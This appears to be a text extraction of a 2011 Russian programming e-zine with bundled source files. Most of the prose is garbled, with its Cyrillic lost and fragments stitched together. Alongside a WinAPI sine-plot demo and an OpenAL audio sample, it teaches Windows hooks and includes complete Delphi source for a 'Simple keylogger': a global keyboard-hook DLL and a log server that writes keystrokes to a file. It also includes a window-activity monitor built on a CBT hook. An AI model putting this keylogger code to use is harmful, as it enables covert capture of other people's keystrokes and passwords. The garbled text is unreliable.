    x = t * nPixPerMs;// MoveToEx(hdc, x, yMin, NULL);// LineTo(hdc, x, yMax);// TextOut(hdc, x, yMin-10, xMark[a], strlen(xMark[a]));t += tGridStep;

    }

    , , :// HPEN hPen1 = CreatePen(PS_SOLID, 3, RGB(0, 0, 0));

    SelectObject(hdc, hPen1);

    :MoveToEx(hdc, 0, 0, NULL); LineTo(hdc, xMax, 0);MoveToEx(hdc, 0, yMin, NULL); LineTo(hdc, 0, yMax);

    , . :HPEN hPen2 = CreatePen(PS_SOLID, 5, RGB(200, 0, 100));SelectObject(hdc, hPen2);

    , :// int tStep = 1;// double radianPerx = 2 * Pi / 30;// const double uAmplit = 250;t = tMin;

    // MoveToEx(hdc, 0, ((uAmplit * sin(t * radianPerx - offset)) *

    nPixPerVolt), NULL);

    while(t

  • 44

    , , ., , ( int double , ), .

    , . .

    Dev C++ (4.9.9.2)http://www.brothersoft.com/dev-c++-download-65296.html http://www.programmersforum.ru/showthread.php?t=59503 04.08.2009MSDN http://msdn.microsoft.com/ru-ru/default

    11 () 2011 WINAPI ++

    . ( )

  • 45

    WINDOWS. 1-2 11 () 2011 . , , Windows. . , Delphi. , , , , () . : ... by rpy3uH http://www.programmersforum.ru

    , . Windows? Windows ( , ) , . , , . , , . . , Windows , , , , . - , , Windows -. . - , , . ... Windows. :

    , (dialog box), (messagebox), (scroll bar) (WH_MSGFILTER); , , , , (WH_SYSMSGFILTER); ( ), GetMessage PeekMessage(WH_GETMESSAGE); ( ), SendMessage (WH_CALLWNDPROC); (WH_JOURNALRECORD,WH_JOURNALPLAYBACK);, (WH_KEYBOARD);, (WH_MOUSE); , computer-based training (WH_CBT); -(WH_DEBUG). SetWindowsHookEx, UnhookWindowsHookEx, CallNextHookEx. 3.1,Windows SetWindowsHook, UnhookWindowsHook, DefHookProc. Win32, , .

  • 46

    11 () 2011 , - SetWindowsHookEx:

    HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId

    );

    WH_* . -. , . , , . , DLL, -. , . , . , . , , . , . UnhookWindowsHookEx, . , . 32-( 64-) Windows . API . .. . , , , . ,

    , , c GetMessage PeekMessage. , DLL. .. DLL., . :

    LRESULT CALLBACK FilterFunc(int nCode, WPARAM wParam,LPARAM lParam)

    MSDN. LRESULT integer, WPARAM LPARAM integer.CALLBACK stdcall. , ( ) pascal:Function FilterFunc(Code:integer; wParam,

    lParam:DWORD):DWORD; stdcall;

    . -, . : wParam WORD. , , WORD 16 , DWORD 32 , , , . : , CallNextHookEx, . HC_ACTION, ., , .

    WINDOWS. 1-2

  • 47

    CallNextHookEx:LRESULT CallNextHookEx(

    HHOOK hhk,int nCode,WPARAM wParam,LPARAM lParam

    );

    , , , Windows NT (Windows NT/XP/2003 ) . , . . . 1, . . , , . . WH_KEYBOARD SetWindowsHookEx. Windows GetMessage PeekMessage WM_KEYUP, WM_KEYDOWN. Code :

    HC_ACTION Windows ;HC_NOREMOVE Windows , , PeekMessage PM_NOREMOVE. . .

    wParam WH_KEYBOARD (, VK_F1, VK_RETURN,VK_LEFT). lParam : 0-15 ; 16-23 . , ; 24 , ( ), 0; 25-28 ; 29 , Alt; 30 . , , ; 31 . , , , .

    ?, . / - (, ). -, , , , . , , , :

    function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;var

    ServerWnd: THandle;ScanCode:integer;

    11 () 2011

    WINDOWS. 1-2

  • 48

    beginif CODE = HC_ACTION thenif ((LParam or (1 shl 30))=LParam) thenbeginServerWnd:=FindWindow(nil,'Simple keylogger ');GetKeyboardState(KeybrdState);ScanCode:=(LParam shr 16)and $FF;if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 thenPostMessage(ServerWnd, WM_KEYEVENT,

    ord(Symbol[0]), LParam)elsePostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);

    end;Result:=CallNextHookEx(HookHandle, code, WParam, LParam);

    end;

    , . , , , . , , , .. , GHBDTN. , , Shift 7 &, 7. , , ToAscii ( ToUnicode). :int ToAscii(

    UINT uVirtKey,UINT uScanCode,PBYTE lpKeyState,LPWORD lpChar,UINT uFlags

    );

    , , , , , , , . 1, , 0. ,

    . GetKeyboardState. :

    ServerWnd:=FindWindow(nil,'Simple keylogger ');GetKeyboardState(KeybrdState);ScanCode:=(LParam shr 16)and $FF;if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 thenPostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)else PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);

    , LParam ToAscii. , .. , c - Simple keylogger ( ). WM_KEYEVENT WM_KEYEVENT=WM_USER+1. WM_KEYEVENT:

    procedure TMainForm.KeyMessageHandler(var Msg: TMessage);var

    KeyName:array[0..99] of char;_MSG:TMsg;

    beginGetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));BufferWrite('13) thenbeginBufferWrite(',');KeyName[0]:=chr(Msg.WParamLo);KeyName[1]:=#0;BufferWrite(KeyName);

    end;BufferWrite('>');inc(Counter);if Counter>MaxSimbolGroup thenbeginBufferWrite(NewLine);WriteTime;BufferWrite(NewLine);Counter:=0;

    end;end;

    11 () 2011 WINDOWS. 1-2

  • 49

    11 () 2011 GetKeyNameText. DLL - . , [1]. . 2, ... WH_CBT SetWindowsHookEx. WH_CBT : ,, , ,, . , :

    LRESULT CALLBACK CBTProc(int nCode, // WPARAM wParam, // depends on hook codeLPARAM lParam // depends on hook code

    );

    wParam lParam . . (CallNextHookEx), , . , , . , , , , , ( , 10 ). . HCBT_ACTIVATE, . wParam , lParam CBTACTIVATESTRUCT.

    :typedef struct tagCBTACTIVATESTRUCT { // cas

    BOOL fMouse;HWND hWndActive;

    } CBTACTIVATESTRUCT;

    , fMouse TRUE. hWndActive , . HCBT_CREATEWND wParam , lParam CBT_CREATEWND:typedef struct tagCBT_CREATEWND { // cbtcw

    LPCREATESTRUCT lpcs;HWND hwndInsertAfter;

    } CBT_CREATEWND;

    hwndInsertAfter , Z . Z . lpcs CREATESTRUCT, :typedef struct tagCREATESTRUCT { // cs

    LPVOID lpCreateParams;HINSTANCE hInstance;HMENU hMenu;HWND hwndParent;int cy;int cx;int y;int x;LONG style;LPCTSTR lpszName;LPCTSTR lpszClass;DWORD dwExStyle;

    } CREATESTRUCT;

    . HCBT_DESTROYWND wParam , lParam . , , .

    WINDOWS. 1-2

  • 50

    11 () 2011:

    HCBT_CLICKSKIPPED , , WH_MOUSE;HCBT_KEYSKIPPED , , WH_KEYBOARD;HCBT_MINMAX /;HCBT_MOVESIZE ;HCBT_QS WM_QUEUESYNC ;HCBT_SETFOCUS ;HCBT_SYSCOMMAND ., WH_CBT . . -, . , . . . , . . Windows. , , - . , , , (, ). - CreateFileMapping.

    :HANDLE CreateFileMapping(

    HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCTSTR lpName

    );

    , . INVALID_HANDLE_VALUE, ( ). . :PAGE_READONLY , ;GENERIC_READ; PAGE_READWRITE , GENERIC_READ GENERIC_WRITE;PAGE_WRITECOPY , , .

    , , , . , , PAGE_READWRITE. , . , . - OpenFileMapping:

    WINDOWS. 1-2

  • 51

    HANDLE OpenFileMapping(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCTSTR lpName

    );

    , :FILE_MAP_WRITE , PAGE_READWRITE;FILE_MAP_READ , PAGE_READONLY;FILE_MAP_ALL_ACCESS , FILE_MAP_WRITE;FILE_MAP_COPY , PAGE_WRITECOPY.

    . - . - MapViewOfFile. :

    LPVOID MapViewOfFile(HANDLE hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,DWORD dwNumberOfBytesToMap

    );

    -. , OpenFileMapping. , , . . .

    ( ) UnmapViewOfFile, , , ., . , . : . , , . , ., , . , . , , . , , . . ( , , ). . , Windows, : . - , , , . CreateMutex, :

    HANDLE CreateMutex(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,

    11 () 2011

    WINDOWS. 1-2

  • 52

    LPCTSTR lpName);

    . , TRUE (-1) , . , . OpenMutex:HANDLE OpenMutex(

    DWORD dwDesiredAccess, // access flagBOOL bInheritHandle, // inherit flagLPCTSTR lpName // pointer to mutex-object name

    );

    , , . : MUTEX_ALL_ACCESS ,SYNCHRONIZE .(, ). - (,WaitForSingleObject), , ( ), ( ) . (), , () , . ReleaseMutex, ., , . :

    WaitForSingleObject(MutexHandle,INFINITE);// ReleaseMutex(MutexHandle);

    , . DLL :

    procedure SetKeyHook; stdcall; export;begin

    if HookHandle=0 thenbeginHookHandle:=SetWindowsHookEx(WH_CBT,

    @CBTHook,hInstance,0);

    FileMappingHandle :=OpenFileMapping(FILE_MAP_WRITE,false,FileMappingName);

    SharedBuffer :=MapViewOfFile(FileMappingHandle,FILE_MAP_WRITE,0,0,MaxBufferSize);

    SyncMutexHandle :=OpenMutex(SYNCHRONIZE,False,MutexName);end;

    end;

    procedure DelKeyHook; stdcall; export;begin

    if HookHandle 0 thenbeginUnhookWindowsHookEx(HookHandle);HookHandle:=0;UnmapViewOfFile(SharedBuffer);

    CloseHandle(FileMappingHandle);CloseHandle(SyncMutexHandle);FileMappingHandle:=0;

    end;end;

    : . :

    11 () 2011

    WINDOWS. 1-2

  • 53

    function CBTHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;var

    ServerWnd: THandle;CurrentOffsetInBuffer:DWORD;CurrentPointer:pointer;NewStr:string;WindowName:array[0..MAX_PATH-1] of char;

    beginResult:=CallNextHookEx(HookHandle, CODE, WParam, LParam);case CODE of

    HCBT_ACTIVATE:beginGetWindowText(WParam,@WindowName,MAX_PATH);if WindowName='' then exit;NewStr:='Window activated at '+GetTime;NewStr:=NewStr+'. Window name '+WindowName+#13#10;

    end;

    HCBT_CREATEWND:beginif PCBTCreateWnd(LParam)^.lpcs^.hwndParent0 then exit;NewStr:='Window created at ' +GetTime;if PCBTCreateWnd(LParam)^.lpcs^.lpszNamenil thenNewStr:=NewStr +'. Window name '+

    PCBTCreateWnd(LParam)^.lpcs^.lpszName +#13#10elseNewStr:=NewStr+#13#10;

    end;

    HCBT_DESTROYWND:beginGetWindowText(WParam, @WindowName,MAX_PATH);if WindowName='' then exit;NewStr:='Window destoyed at '+GetTime;NewStr:=NewStr+'. Window name '+ WindowName+#13#10;

    end;end;

    WaitForSingleObject(SyncMutexHandle,INFINITE);

    CurrentOffsetInBuffer:=DWORD(SharedBuffer^);CurrentPointer :=pointer(DWORD(SharedBuffer) +

    CurrentOffsetInBuffer);

    CopyMemory(CurrentPointer,PChar(NewStr),length(NewStr));DWORD(SharedBuffer^):=CurrentOffsetInBuffer+length(NewStr);ReleaseMutex(SyncMutexHandle);

    end;

    . . HCBT_CREATEWND PCBTCreateWnd lParam, , wParam. HCBT_CREATEWND , .. , , . . WaitForSingleObject ReleaseMutex . , :

    procedure RunHook;beginFileMappingHandle :=CreateFileMapping(INVALID_HANDLE_VALUE, 0,

    PAGE_READWRITE,0,MaxBufferSize,FileMappingName);

    SharedBuffer :=MapViewOfFile(FileMappingHandle,FILE_MAP_WRITE,0,0,MaxBufferSize);

    ZeroMemory(SharedBuffer,MaxBufferSize);DWORD(SharedBuffer^):=4;SyncMutexHandle:=CreateMutex(0,false,MutexName);SetKeyHook;

    end;

    procedure StopHook;begin

    DelKeyHook;DumpBuffer;

    UnmapViewOfFile(SharedBuffer);CloseHandle(FileMappingHandle);CloseHandle(SyncMutexHandle);

    end;

    11 () 2011

    WINDOWS. 1-2

  • 54

    procedure DumpBuffer;var

    FH:THandle;_WR:DWORD;_Buff:pointer;

    begin_Buff:=pointer(DWORD(SharedBuffer)+4);

    FH :=CreateFile(LogFileName,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ, 0, OPEN_ALWAYS,0,0);

    SetFilePointer(FH,0,0,FILE_END);WriteFile(FH, _Buff^, lstrlen(_Buff),_WR,0);

    CloseHandle(FH);ZeroMemory(SharedBuffer, MaxBufferSize);

    end;

    [2] . , . DumpBuffer .

    . : ...?. , , , . , . .

    .. Windows. .. http://pblog.ru/?p=293 14.01.2009.. Windows. . . http://pblog.ru/?p=437 30.03.2009 http://pblog.ru/wpcontent/uploads/keylogger.zip http://pblog.ru/wpcontent/uploads/windowmonitor.zip

    11 () 2011

    WINDOWS. 1-2

  • 55

    H . p p, . p, p. p p, . p pp. p , p. , : , , pp p - pp. p p . p, p ( ). p p . H p p

    p p .p . p, p , ,p p. :p -p. p - p. p, . , p p p. p p - , . p ppp -p-p, p p.H p p p p

    11 () 2011

  • 56

    . p p p p , ., pp. - p p . pp . p p , . p p . H , p p - p .p p, ,p . p

    . : pp ! p.p p : p pp . p . p , . p, . . . p p p p.

    H . - . H p, p p . ! : ?

    11 () 2011

  • 57

    ... ... Unknown Artist, , Track 1, Track 2. Track9 ! : .. -... ... .... : ...o o o . oo , o o . oo, o, -, o. -, . , 2011 ! -, ?xxx: - ...xxx: , - xxx: ...xxx: , xxx: , , ...yyy: -- ?xxx: ...xxx: 3...xxx: .

    , , , . 2 , , . . , 2- , 4-

    , -, .xxx: : , , , -, , 3D-: 01/01/2011, 04:06 0, . - Spider Man 2 ... , X/Y,

    20 , 5, . 20 ., . , , . - ....: 01/01/2011, 04:21--, ?

    11 () 2011

    _Utkin_VIP /2010-11-08_Baugrube-XHEXP1-Schenefeld_0051.jpg

    _Utkin_VIP /2010-12-02_S-545-XHEXP1_IMG_2856.jpg

    _Utkin_VIP /2010-12-02_XTD2_IMG_2921.jpg

    _Utkin_VIP /Beschleunigungsanimation.jpg

    _Utkin_VIP /european-xfel-location-in-neighbourhood.jpg

    _mirat_ DSP. 1/dsp1.cpp

    _mirat_ DSP. 1/dsp1.cpp

    /*

    Copyright(c)2009MiratKadenov

    Thissoftwareisprovided'as-is',withoutanyexpressorimplied

    warranty.Innoeventwilltheauthorsbeheldliableforanydamages

    arisingfromtheuseofthissoftware.

    Permissionisgrantedtoanyonetousethissoftwareforanypurpose,

    includingcommercialapplications,andtoalteritandredistributeit

    freely,subjecttothefollowingrestrictions:

    1.Theoriginofthissoftwaremustnotbemisrepresented;youmustnot

    claimthatyouwrotetheoriginalsoftware.Ifyouusethissoftware

    inaproduct,anacknowledgmentintheproductdocumentationwouldbe

    appreciatedbutisnotrequired.

    2.Alteredsourceversionsmustbeplainlymarkedassuch,andmustnotbe

    misrepresentedasbeingtheoriginalsoftware.

    3.Thisnoticemaynotberemovedoralteredfromanysource

    distribution.

    */

    #include

    #include

    constintBUF_COUNT=5;

    //,

    classSoundManager

    {

    //,"OpenALrelatedstuff"

    ALCdevice*in_device;

    ALCdevice*out_device;

    ALCcontext*context;

    ALuintal_source;

    ALuintal_buffers[BUF_COUNT];

    //,

    ALshort*play_buf;

    intread_buf_size;

    intplay_buf_size;

    public:

    SoundManager()

    {

    //

    read_buf_size=44100;

    play_buf_size=1024;

    play_buf=newALshort[play_buf_size];

    //OpenAL

    out_device=alcOpenDevice(0);

    context=alcCreateContext(out_device,0);

    alcMakeContextCurrent(context);

    in_device=alcCaptureOpenDevice(0,44100,AL_FORMAT_MONO16,read_buf_size);

    alGenSources(1,&al_source);

    alGenBuffers(BUF_COUNT,al_buffers);

    //

    for(inti=0;iplay_buf_size))

    {

    ALuintbuffer;

    alcCaptureSamples(in_device,play_buf,play_buf_size);

    //...,,;)

    process();

    //,

    //

    alSourceUnqueueBuffers(al_source,1,&buffer);

    alBufferData(buffer,AL_FORMAT_MONO16,play_buf,play_buf_size*sizeof(ALshort),44100);

    alSourceQueueBuffers(al_source,1,&buffer);

    alcGetIntegerv(in_device,ALC_CAPTURE_SAMPLES,sizeof(samples),&samples);

    }

    }

    voidprocess()

    {

    //"allfunishere"

    }

    ~SoundManager()

    {

    alcCaptureStop(in_device);

    alcCaptureCloseDevice(in_device);

    }

    };

    intmain()

    {

    SoundManagers;

    while(1)

    {

    s.update();

    }

    }

    _Oleg Kutkov_ WinAPI ++/main.cpp

    #include #include #define Pi 3.14159265 //

    // - , LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);// - void DrawDiagram(HWND hwnd, HDC hdc, int offset);

    TCHAR szTitle[] = ""; // TCHAR szWindowClass[] = "Sinus";//

    int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ HWND hWnd; // MSG msg; // WNDCLASSEX wcex; // // wcex.cbSize = sizeof(WNDCLASSEX); // wcex.style= CS_HREDRAW | CS_VREDRAW; // wcex.lpfnWndProc= (WNDPROC)WindowProcedure; // wcex.cbClsExtra= 0;wcex.cbWndExtra= 0;wcex.hInstance= hInstance; // wcex.hIcon= LoadIcon(NULL, IDI_APPLICATION); // wcex.hCursor= LoadCursor(NULL, IDC_ARROW); // wcex.hbrBackground= (HBRUSH)(COLOR_WINDOW+1); // wcex.lpszMenuName= 0; // - wcex.lpszClassName= szWindowClass; // wcex.hIconSm= LoadIcon(NULL, IDI_APPLICATION); // if(!RegisterClassEx(&wcex)) // {MessageBox(hWnd, " ", "", IDI_ERROR || MB_OK); // - return 1;}

    hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, // CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);if(!hWnd) { //, MessageBox(hWnd, " ", "", IDI_ERROR || MB_OK); // - return 1;}

    ShowWindow(hWnd, nCmdShow);//

    while(GetMessage(&msg, NULL, 0, 0)) { // TranslateMessage(&msg);DispatchMessage(&msg);}

    return msg.wParam;}

    // , , , LRESULT CALLBACK WindowProcedure (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){PAINTSTRUCT ps; // HDC hdc; // RECT rect; //, static int offset = 0; // SetTimer(hWnd, 1, 200, NULL); // , switch (message) // {case WM_TIMER: // - GetClientRect(hWnd, &rect); // InvalidateRect(hWnd, &rect, true); // UpdateWindow(hWnd); // ++offset; // break;case WM_PAINT: // - hdc = BeginPaint(hWnd, &ps); // DrawDiagram(hWnd, hdc, offset); // EndPaint(hWnd, &ps); // break;case WM_DESTROY: // - PostQuitMessage(0); // "" break;default:return DefWindowProc(hWnd, message, wParam, lParam); // } return 0;}

    //, , : , , , void DrawDiagram(HWND hwnd, HDC hdc, int offset) {RECT rect; // GetClientRect(hwnd, &rect); // const int xVE = rect.right - rect.left; // , const int yVE = rect.bottom - rect.top;const int xWE = xVE;const int yWE = yVE;double nPixPerVolt = yVE / 1000.0;double nPixPerMs = xVE / 60.0;

    SetMapMode(hdc, MM_ISOTROPIC); SetWindowExtEx(hdc, xWE, yWE, NULL);SetViewportExtEx(hdc, xVE, -yVE, NULL);SetViewportOrgEx(hdc, 10*nPixPerMs, yVE/2, NULL);

    const int tMin = 0; // const int tMax = 40;const int uMin = -400;const int uMax = 400;const int tGridStep = 5; const int uGridStep = 100;int x, y;

    char* xMark[] = {"0", "5", "10", "15", "20", "25", "30", "35", "40"}; // Xchar* yMark[] = {"-40", "-30", "-20", "-10", "0", "10", "20", "30", "40"}; // Y

    HPEN hPen0 = CreatePen(PS_SOLID, 1, RGB(0, 160, 0));HPEN hOldPen = (HPEN)SelectObject(hdc, hPen0);int u = uMin;int xMin = tMin * nPixPerMs;int xMax = tMax * nPixPerMs;

    // - for(int i = 0; i < 9; ++i) {y = u * nPixPerVolt;MoveToEx(hdc, xMin, y, NULL); // LineTo(hdc, xMax, y); // TextOut(hdc, xMin-40, y+8, yMark[i], strlen(yMark[i])); // u += uGridStep;}

    int t = tMin;int yMin = uMin * nPixPerVolt;int yMax = uMax * nPixPerVolt;// - for(int a = 0; a < 9; ++a) {x = t * nPixPerMs;MoveToEx(hdc, x, yMin, NULL); // LineTo(hdc, x, yMax); // TextOut(hdc, x, yMin-10, xMark[a], strlen(xMark[a])); // t += tGridStep;}

    HPEN hPen1 = CreatePen(PS_SOLID, 3, RGB(0, 0, 0)); // SelectObject(hdc, hPen1);

    MoveToEx(hdc, 0, 0, NULL); LineTo(hdc, xMax, 0); // XMoveToEx(hdc, 0, yMin, NULL); LineTo(hdc, 0, yMax); // Y// HPEN hPen2 = CreatePen(PS_SOLID, 5, RGB(200, 0, 100));SelectObject(hdc, hPen2);int tStep = 1;double radianPerx = 2 * Pi / 30; const double uAmplit = 250; //t = tMin;MoveToEx(hdc, 0, ((uAmplit * sin(t * radianPerx - offset)) * nPixPerVolt), NULL); // , while(t

  • - .

    , . , , , . , , , , , . . ? ? . , . . . , . , . ? , , ? , , : . , . , ... . . . , , , , ? ( ), , , , .

  • , . 42 . , , , ! 40 ! , ! . , , . , . -, . , , : , . -, . , . , , ... , , . , . , . . ... . : . . , ! . , , . ! . , , . , , . - . . , : . . . . , 60 , . , , , , - . , . ... , , , . , . , . .

  • , ... . , , . , . . : , . , , , , , . . . , , . 57 . , , 57 , . , . , , . , . - , . , ... , , . , . , . , . . : , . . , , , .

    - . , .

    _rpy3uH_ Windows/Keylogger/HookDLL.dll

    _rpy3uH_ Windows/Keylogger/hookDLL.dpr

    library hookDLL;

    uses Windows, Messages;

    const WM_KEYEVENT = WM_USER+1;

    var HookHandle: HHOOK = 0 ; KeybrdState:TKeyboardState; Symbol:array[0..1] of char;

    function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;var ServerWnd: THandle; ScanCode:integer;begin if CODE = HC_ACTION then if ((LParam or (1 shl 30))=LParam) then begin ServerWnd:=FindWindow(nil,'Simple keylogger '); GetKeyboardState(KeybrdState); ScanCode:=(LParam shr 16)and $FF; if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam) else PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam); end; Result:=CallNextHookEx(HookHandle, code, WParam, LParam);end;

    procedure SetKeyHook; stdcall; export;begin if HookHandle=0 then HookHandle:=SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);end;

    procedure DelKeyHook; stdcall; export;begin if HookHandle 0 then UnhookWindowsHookEx(HookHandle); HookHandle:=0;end;

    exports SetKeyHook, DelKeyHook;

    beginend.

    _rpy3uH_ Windows/Keylogger/logserver.dpr

    program logserver;

    uses Forms, MainUnit1 in 'MainUnit1.pas' {MainForm};

    {$R *.res}

    begin Application.Initialize; Application.CreateForm(TMainForm, MainForm); Application.Run;end.

    _rpy3uH_ Windows/Keylogger/logserver.exe

    _rpy3uH_ Windows/Keylogger/logserver.res

    _rpy3uH_ Windows/Keylogger/MainUnit1.dfm

    object MainForm: TMainForm Left = 656 Top = 452 BorderIcons = [biSystemMenu] BorderStyle = bsSingle Caption = 'Simple keylogger ' ClientHeight = 63 ClientWidth = 318 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'Tahoma' Font.Style = [] OldCreateOrder = False Position = poDesktopCenter OnCreate = FormCreate PixelsPerInch = 96 TextHeight = 13 object StartLoggingButton: TButton Left = 8 Top = 8 Width = 145 Height = 49 Caption = #1057#1090#1072#1088#1090 TabOrder = 0 OnClick = StartLoggingButtonClick end object StopLoggingButton: TButton Left = 160 Top = 8 Width = 153 Height = 49 Caption = #1057#1090#1086#1087 TabOrder = 1 OnClick = StopLoggingButtonClick endend

    _rpy3uH_ Windows/Keylogger/MainUnit1.pas

    unit MainUnit1;

    interface

    uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

    const WM_KEYEVENT=WM_USER+1;

    type TMainForm = class(TForm) StartLoggingButton: TButton; StopLoggingButton: TButton; procedure StartLoggingButtonClick(Sender: TObject); procedure StopLoggingButtonClick(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public procedure KeyMessageHandler(var Msg:TMessage);message WM_KEYEVENT; end;

    var MainForm: TMainForm;

    implementation

    {$R *.dfm}

    const MaxBuffSize=900; MaxSimbolGroup = 50;

    DLLName='hookDLL.dll';

    LogFileName = 'logfile.txt';

    var CurrentTime: SystemTime;

    NewLine: array[0..2] of char; Buffer: array[0..999] of char;

    procedure SetKeyHook; stdcall; external DLLName;procedure DelKeyHook; stdcall; external DLLName;

    procedure DumpBuffer;var FH:THandle; _WR:DWORD;begin FH:=CreateFile(LogFileName,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ,0,OPEN_ALWAYS,0,0); SetFilePointer(FH,0,0,FILE_END); WriteFile(FH, Buffer, lstrlen(@Buffer),_WR,0); CloseHandle(FH); ZeroMemory(@Buffer, SizeOf(Buffer));end;

    procedure BufferWrite(V: PChar);begin if lstrlen(Buffer) < MaxBuffSize then lstrcat(Buffer, V) else begin DumpBuffer; lstrcat(Buffer, V); end;end;

    procedure WriteTime;begin GetLocalTime(CurrentTime); BufferWrite(pchar('Time : '+IntToStr(CurrentTime.wHour)+':'+IntToStr(CurrentTime.wMinute)));end;

    procedure RunHook;begin SetKeyHook; ZeroMemory(@Buffer,sizeof(Buffer)); BufferWrite(NewLine); WriteTime; BufferWrite(' - Logging start '); BufferWrite(NewLine);end;

    procedure StopHook;begin DelKeyHook; BufferWrite(NewLine); WriteTime; BufferWrite(' - Logging end '); BufferWrite(NewLine);

    DumpBuffer;end; var Counter:DWORD = 0;

    procedure TMainForm.KeyMessageHandler(var Msg: TMessage);var KeyName:array[0..99] of char; _MSG:TMsg;begin GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName)); BufferWrite(''); inc(Counter); if Counter>MaxSimbolGroup then begin BufferWrite(NewLine); WriteTime; BufferWrite(NewLine); Counter:=0; end;end;

    procedure TMainForm.StartLoggingButtonClick(Sender: TObject);begin RunHookend;

    procedure TMainForm.StopLoggingButtonClick(Sender: TObject);begin StopHook;end;

    procedure TMainForm.FormCreate(Sender: TObject);begin NewLine[0]:=#13; NewLine[1]:=#10; NewLine[2]:=#0;end;

    end.

    _rpy3uH_ Windows/ /HookDLL.dll

    _rpy3uH_ Windows/ /hookDLL.dpr

    library hookDLL;

    uses Windows, Messages,Sysutils;

    const MaxBufferSize = 4*1024*1024;//4 MB

    FileMappingName = 'WinHookSharedMemoryName'; MutexName = 'WinHookSyncMutexName'; var HookHandle: HHOOK = 0 ; FileMappingHandle:THandle = 0; SyncMutexHandle:THandle = 0; SharedBuffer:pointer = nil;

    function GetTime:string;var CurrentTime:TSystemTime;begin GetLocalTime(CurrentTime); Result:=IntToStr(CurrentTime.wHour)+':'+IntToStr(CurrentTime.wMinute);end;

    function CBTHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;var ServerWnd: THandle; CurrentOffsetInBuffer:DWORD; CurrentPointer:pointer; NewStr:string; WindowName:array[0..MAX_PATH-1] of char;begin Result:=CallNextHookEx(HookHandle, CODE, WParam, LParam); case CODE of HCBT_ACTIVATE: begin GetWindowText(WParam,@WindowName,MAX_PATH); if WindowName='' then exit; NewStr:='Window activated at '+GetTime; NewStr:=NewStr+'. Window name '+WindowName+#13#10; end; HCBT_CREATEWND: begin if PCBTCreateWnd(LParam)^.lpcs^.hwndParent0 then exit; NewStr:='Window created at '+GetTime; if PCBTCreateWnd(LParam)^.lpcs^.lpszNamenil then NewStr:=NewStr+'. Window name '+PCBTCreateWnd(LParam)^.lpcs^.lpszName+#13#10 else NewStr:=NewStr+#13#10; end; HCBT_DESTROYWND: begin GetWindowText(WParam,@WindowName,MAX_PATH); if WindowName='' then exit; NewStr:='Window destoyed at '+GetTime; NewStr:=NewStr+'. Window name '+WindowName+#13#10; end; end; WaitForSingleObject(SyncMutexHandle,INFINITE); CurrentOffsetInBuffer:=DWORD(SharedBuffer^); CurrentPointer:=pointer(DWORD(SharedBuffer)+CurrentOffsetInBuffer); CopyMemory(CurrentPointer,PChar(NewStr),length(NewStr)); DWORD(SharedBuffer^):=CurrentOffsetInBuffer+length(NewStr); ReleaseMutex(SyncMutexHandle); end;

    procedure SetKeyHook; stdcall; export;begin if HookHandle=0 then begin HookHandle:=SetWindowsHookEx(WH_CBT, @CBTHook, hInstance, 0); FileMappingHandle:=OpenFileMapping(FILE_MAP_WRITE,false,FileMappingName); SharedBuffer:=MapViewOfFile(FileMappingHandle,FILE_MAP_WRITE,0,0,MaxBufferSize); SyncMutexHandle:=OpenMutex(SYNCHRONIZE,False,MutexName); end;end;

    procedure DelKeyHook; stdcall; export;begin if HookHandle 0 then begin UnhookWindowsHookEx(HookHandle); HookHandle:=0; UnmapViewOfFile(SharedBuffer); CloseHandle(FileMappingHandle); CloseHandle(SyncMutexHandle); FileMappingHandle:=0; end; end;

    exports SetKeyHook, DelKeyHook;

    procedure DLLEntryPoint(dwReason:DWord);begin case dwReason of DLL_PROCESS_ATTACH: if FileMappingHandle=0 then begin FileMappingHandle:=OpenFileMapping(FILE_MAP_WRITE,false,FileMappingName); SharedBuffer:=MapViewOfFile(FileMappingHandle,FILE_MAP_WRITE,0,0,MaxBufferSize); SyncMutexHandle:=OpenMutex(SYNCHRONIZE,False,MutexName); end; DLL_PROCESS_DETACH: begin UnmapViewOfFile(SharedBuffer); CloseHandle(FileMappingHandle); CloseHandle(SyncMutexHandle); end; end;end;

    begin DllProc:= @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH);end.

    _rpy3uH_ Windows/ /logserver.dpr

    program logserver;

    uses Forms, MainUnit1 in 'MainUnit1.pas' {MainForm};

    {$R *.res}

    begin Application.Initialize; Application.CreateForm(TMainForm, MainForm); Application.Run;end.

    _rpy3uH_ Windows/ /logserver.exe

    _rpy3uH_ Windows/ /logserver.res

    _rpy3uH_ Windows/ /MainUnit1.dfm

